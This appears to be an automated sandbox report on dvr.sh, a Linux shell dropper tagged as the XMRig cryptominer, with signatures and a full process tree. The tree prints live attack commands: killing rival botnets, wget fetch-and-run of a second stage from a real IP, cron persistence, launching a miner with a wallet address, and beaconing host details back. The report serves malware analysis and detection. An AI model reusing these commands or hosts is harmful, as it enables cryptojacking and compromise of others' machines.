Analysis
- max time kernel
149s - max time network
144s - platform
ubuntu-18.04_amd64 - resource
ubuntu1804-amd64-20260513-en - resource tags
- submitted
02/10/2026, 18:58
General
- Target dvr.sh
- Size 2KB
- Sample261002-xmmsgax14r
- SHA256 69783eb318e400d57b9e5eeed561f62ef711e15aa7afa3fd925a3d663c291633
Score
10/10
Malware Config
Signatures
- Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 2 IoCs
- File and Directory Permissions Modification 1 TTPs 2 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Executes dropped EXE 1 IoCs
- Checks hardware identifiers (DMI) 1 TTPs 4 IoCs
Checks DMI information which indicate if the system is a virtual machine.
- Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
- Enumerates running processes
Discovers information about currently running processes on the system
- Reads hardware information 1 TTPs 14 IoCs
Accesses system info like serial numbers, manufacturer names etc.
- Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
- Reads CPU attributes 1 TTPs 47 IoCs
- Enumerates kernel/hardware configuration 1 TTPs 25 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
- Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
- Remote System Discovery 1 TTPs 1 IoCs
Adversaries may try to discover information about remote systems in a network.
- System Network Configuration Discovery 1 TTPs 5 IoCs
Adversaries may gather information about the network configuration of a system.
- Writes file to tmp directory 5 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/dvr.sh/tmp/dvr.sh1⤵
-
/usr/bin/killallkillall -9 robben2⤵
- Reads runtime system information
-
-
/usr/bin/killallkillall -9 net.x862⤵
- Reads runtime system information
-
-
/usr/bin/killallkillall -9 net.mips2⤵
- Reads runtime system information
- System Network Configuration Discovery
-
-
/usr/bin/killallkillall -9 net.arm2⤵
-
-
/usr/bin/killallkillall -9 net.arm52⤵
-
-
/usr/bin/killallkillall -9 net.arm62⤵
- Reads runtime system information
-
-
/usr/bin/killallkillall -9 net.arm72⤵
-
-
/usr/bin/killallkillall -9 net.mpsl2⤵
- Reads runtime system information
-
-
/usr/bin/killallkillall -9 net.ppc2⤵
-
-
/usr/bin/killallkillall -9 net.m68k2⤵
-
-
/usr/bin/killallkillall -9 net.sh42⤵
- Reads runtime system information
-
-
/usr/bin/killallkillall -9 net.i4862⤵
-
-
/usr/bin/killallkillall -9 net.i6862⤵
- Reads runtime system information
-
-
/usr/bin/killallkillall -9 px862⤵
-
-
/usr/bin/killallkillall -9 pmips2⤵
- Reads runtime system information
- System Network Configuration Discovery
-
-
/usr/bin/killallkillall -9 parm2⤵
- Reads runtime system information
-
-
/usr/bin/killallkillall -9 hajime2⤵
- Reads runtime system information
-
-
/usr/bin/killallkillall -9 sora2⤵
-
-
/bin/rmrm -f kla2⤵
-
-
/usr/bin/wgetwget -q -O kla http://94.154.43.203:8080/cur.sh2⤵
- Writes file to tmp directory
-
-
/usr/bin/trtr -cd 0-92⤵
-
-
/usr/bin/wcwc -c2⤵
-
-
/bin/chmodchmod 777 kla2⤵
- File and Directory Permissions Modification
-
-
/bin/shsh kla2⤵
- Creates/modifies Cron job
- Writes file to tmp directory
-
/usr/bin/trtr -cd 0-93⤵
-
-
/usr/bin/wcwc -c3⤵
-
-
/usr/bin/killallkillall -9 robben3⤵
- Reads runtime system information
-
-
/usr/bin/killallkillall -9 net.x863⤵
- Reads runtime system information
-
-
/usr/bin/killallkillall -9 net.mips3⤵
- Reads runtime system information
- System Network Configuration Discovery
-
-
/usr/bin/killallkillall -9 net.arm3⤵
- Reads runtime system information
-
-
/usr/bin/killallkillall -9 net.arm53⤵
- Reads runtime system information
-
-
/usr/bin/killallkillall -9 net.arm63⤵
- Reads runtime system information
-
-
/usr/bin/killallkillall -9 net.arm73⤵
- Reads runtime system information
-
-
/usr/bin/killallkillall -9 net.mpsl3⤵
- Reads runtime system information
-
-
/usr/bin/killallkillall -9 net.ppc3⤵
- Reads runtime system information
-
-
/usr/bin/killallkillall -9 net.m68k3⤵
- Reads runtime system information
-
-
/usr/bin/killallkillall -9 net.sh43⤵
-
-
/usr/bin/killallkillall -9 net.i4863⤵
- Reads runtime system information
-
-
/usr/bin/killallkillall -9 net.i6863⤵
- Reads runtime system information
-
-
/usr/bin/killallkillall -9 px863⤵
-
-
/usr/bin/killallkillall -9 pmips3⤵
- System Network Configuration Discovery
-
-
/usr/bin/killallkillall -9 parm3⤵
-
-
/usr/bin/killallkillall -9 hajime3⤵
- Reads runtime system information
-
-
/usr/bin/killallkillall -9 sora3⤵
- Reads runtime system information
-
-
/usr/sbin/cron/usr/sbin/cron3⤵
-
-
/usr/bin/cron/usr/bin/cron3⤵
-
-
/usr/bin/killallkillall -1 crond3⤵
- Reads runtime system information
-
-
/usr/bin/killallkillall -1 cron3⤵
- Reads runtime system information
-
-
/usr/bin/touchtouch /tmp/.xmN3⤵
- Writes file to tmp directory
-
-
/usr/bin/trtr -d :3⤵
-
-
/bin/grepgrep -oE "([0-9A-Fa-f]{2}:){5}[0-9A-Fa-f]{2}"3⤵
-
-
/usr/bin/headhead -13⤵
-
-
/bin/grepgrep -iE "hwaddr|ether"3⤵
-
-
/usr/bin/trtr -d :3⤵
-
-
/usr/bin/headhead -13⤵
-
-
/bin/grepgrep -oE "([0-9A-Fa-f]{2}:){5}[0-9A-Fa-f]{2}"3⤵
-
-
/bin/grepgrep -iE link/ether3⤵
-
-
/sbin/ipip addr show3⤵
- System Network Configuration Discovery
-
-
/usr/bin/wgetwget -q -O - http://94.154.43.203:8080/lease-xm4a7d79ab47713⤵
-
-
/usr/bin/killallkillall -9 xm3⤵
- Reads runtime system information
-
-
/usr/bin/killallkillall -9 .sd3⤵
- Reads runtime system information
-
-
/usr/bin/wgetwget -q -O /dev/null http://94.154.43.203:8080/go-xm4a7d79ab4771-v203⤵
-
-
/usr/bin/trtr A-Z a-z3⤵
-
-
/bin/unameuname -m3⤵
-
-
/usr/bin/trtr -cd 0-93⤵
-
-
/bin/rmrm -f .sdn .sd3⤵
-
-
/usr/bin/wgetwget -q -O .sdn http://94.154.43.203:8080/xm/xmrig-static-x643⤵
- Writes file to tmp directory
-
-
/usr/bin/trtr -cd 0-93⤵
-
-
/usr/bin/wcwc -c3⤵
-
-
/bin/chmodchmod 777 .sdn3⤵
- File and Directory Permissions Modification
-
-
/bin/mvmv .sdn .sd3⤵
-
-
/usr/bin/nprocnproc3⤵
-
-
/bin/sleepsleep 203⤵
-
-
/bin/sleepsleep 253⤵
-
-
/bin/sleepsleep 603⤵
-
-
/bin/sleepsleep 123⤵
-
-
/bin/sleepsleep 83⤵
-
-
/bin/sleepsleep 3003⤵
-
-
/bin/sleepsleep 1203⤵
-
-
/bin/sleepsleep 303⤵
-
-
/usr/bin/wgetwget -q -O /dev/null http://94.154.43.203:8080/ok-xm4a7d79ab4771-x64-v203⤵
-
-
/usr/bin/trtr -d "()"3⤵
-
-
/bin/grepgrep -oE "\\([0-9.]+\\)"3⤵
-
-
/usr/bin/headhead -13⤵
-
-
/bin/pingping -c1 -W3 auto.c3pool.org3⤵
- Remote System Discovery
-
-
/usr/bin/nprocnproc3⤵
-
-
/usr/bin/headhead -c 1203⤵
-
-
/usr/bin/trtr -c "A-Za-z0-9.:/=" x3⤵
-
-
/bin/grepgrep -i proxy3⤵
-
-
/usr/bin/envenv3⤵
-
-
/usr/bin/trtr -cd 0-93⤵
-
-
/usr/bin/wcwc -l3⤵
-
-
/usr/bin/headhead -c 1003⤵
-
-
/usr/bin/trtr -c A-Za-z0-9. x3⤵
-
-
/usr/bin/tailtail -1 /tmp/xmlog3⤵
-
-
/usr/bin/pgreppgrep .sd3⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pgreppgrep .sd3⤵
- Reads CPU attributes
- Reads runtime system information
-
-
-
/usr/bin/nohupnohup ./.sd -B -o auto.c3pool.org:33333 -u 448yK8JVPGLCKheTaFMNdEGv3398wRzukdukfiQV5QgR3qBfK9KoGKRauPDQM9MhTa25dEHF2LAMLT6r1XeBjcAe1NjZYMS -p xm4a7d79ab4771 --donate-level 0 --randomx-mode light -t 1 --tls "--log-file=/tmp/xmlog"1⤵
- Executes dropped EXE
-
/tmp/.sd./.sd -B -o auto.c3pool.org:33333 -u 448yK8JVPGLCKheTaFMNdEGv3398wRzukdukfiQV5QgR3qBfK9KoGKRauPDQM9MhTa25dEHF2LAMLT6r1XeBjcAe1NjZYMS -p xm4a7d79ab4771 --donate-level 0 --randomx-mode light -t 1 --tls "--log-file=/tmp/xmlog"1⤵
- Checks hardware identifiers (DMI)
- Reads hardware information
- Checks CPU configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Writes file to tmp directory
-
/usr/bin/curlcurl -s -o /dev/null http://94.154.43.203:8080/ok-xm4a7d79ab4771-x64-v201⤵
-
/usr/bin/wgetwget -q -O /dev/null http://94.154.43.203:8080/dns-xm4a7d79ab4771-103.194.186.150 84-v201⤵
-
/usr/bin/wgetwget -q -O /dev/null http://94.154.43.203:8080/cpu-xm4a7d79ab4771-1-1-v201⤵
-
/usr/bin/wgetwget -q -O /dev/null http://94.154.43.203:8080/env-xm4a7d79ab4771-none-v201⤵
-
/usr/bin/wgetwget -q -O /dev/null http://94.154.43.203:8080/log-xm4a7d79ab4771-23-x2026x10x02x19x58x44.484xxxnetxxxxxxnewxjobxfromxauto.c3pool.orgx33333xdiffx100001xalgoxrxx0xheightx-v201⤵
-
/usr/bin/wgetwget -q -O /dev/null http://94.154.43.203:8080/ok2-xm4a7d79ab4771-1-v201⤵
-
/usr/bin/wgetwget -q -O /dev/null http://94.154.43.203:8080/tcp-xm4a7d79ab4771-0-v201⤵
-
/usr/bin/wgetwget -q -O /dev/null http://94.154.43.203:8080/ok3-xm4a7d79ab4771-1-v201⤵
Network
MITRE ATT&CK Enterprise v16
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
2System Checks
2Replay Monitor
Loading Replay Monitor...
Downloads
.sdn
.xmver
kla
xmlog
xmlog
root